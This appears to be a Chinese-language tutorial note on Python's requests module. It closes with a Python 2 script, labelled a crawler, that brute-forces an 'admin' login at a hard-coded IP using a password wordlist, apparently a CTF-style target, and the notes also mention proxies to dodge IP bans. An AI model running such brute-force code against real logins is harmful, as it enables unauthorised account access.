requests模塊總結

get

先導入模塊

import requests
rep=requests.get(url)

返回一個對象可調用的常用方法有

rep.text//返回網頁的字符串文本會有編碼問題
rep.content//返回訪問的二進制文件常用於爬取圖片等文件
rep.encoding//返回頁面的編碼
rep.status_code//返回頁面的狀態碼
rep.header//返回相應頭字典的形式
rep.ok//查看是否登入成功
r.json//這裏搞一篇文章單獨講

url裏面傳遞參數

pararms={'id':123}//以字典進行傳送id爲變量名然後就是變量內容
timeout=2//設置最長的響應時間
headers=header//發送的響應頭僞裝成瀏覽器
files=files//還可以發送圖片上傳這裏要找準接口然後是以二進制的形式打開
proxies=proxy//這裏開啓代理可以爬取圖片的時候防止封ip還可以bp代理髮包劫難

POST

這個跟get請求沒啥區別Orz

session

這個是跟服務器發生一次會發再次請求cookie等一些參數不會發生變化
用法與get差不多

爬蟲

這裏貼一個以前寫的爬蟲

import io
import requests
import sys
import re
lujing='./mima.txt'
mima=[]
url1="http://101.200.53.102:12333/"
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
data={}
def getfile(lujing):
	global mima
	try:
		f=open(lujing,'r')
		mima=f.read().split('\n')
	except Exception as e:
		print e
	finally:
		f.close()

def expl(url,di):
	global data
	for i in di:
		try:
			data={'username':'admin','password':i}
			reponse=requests.post(url,headers=headers,data=data)
			reponse=reponse.text
			list1=re.findall(r'<h2 align="center" style="margin-top:0px;">(.*?)</h2>',reponse)
			print list1
			if 'failed!!!' in list1[0]:
				#print "nono"
				continue
			else:
				print "okokokok[+]:the password is %s"%(i)
		except Exception as e:
			print e

getfile(lujing)
expl(url1,mima)